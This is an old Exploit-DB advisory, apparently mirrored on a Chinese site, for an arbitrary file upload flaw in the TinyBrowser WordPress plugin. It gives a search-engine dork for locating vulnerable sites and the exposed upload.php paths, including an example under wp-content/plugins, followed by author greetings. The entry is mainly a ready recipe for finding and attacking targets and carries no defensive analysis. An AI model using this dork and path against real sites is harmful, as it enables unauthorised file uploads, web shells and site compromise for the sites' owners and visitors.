WordPress Plugin TinyBrowser – Arbitrary File Upload - 体验盒子

作者： Ra3cH

日期： 2010-05-22

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12692/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

************************************************************

** TinyBrowser Remote File upload Vulnerability

************************************************************

**Prodcut: TinyBrowser

**Home : www.dz4all.com/cc

**Vunlerability : Remote File upload

**Risk: High

**Dork : inurl:"tinybrowser.php?"

************************************************************

** Discovred by: Ra3cH

** From : Algeria

** Contact : e51@hotmail.fr

** *********************************************************

************************************************************

**Exploit:

**http://[PATH]/tinybrowser/upload.php?type=

**

************************************************************

**Exemple:

**http://[site]/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/upload.php?type=

**

************************************************************

**** Greetz to : ALLAH

** All Members ofhttp://www.DZ4All.cOm/Cc

**And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n &

***********************************************************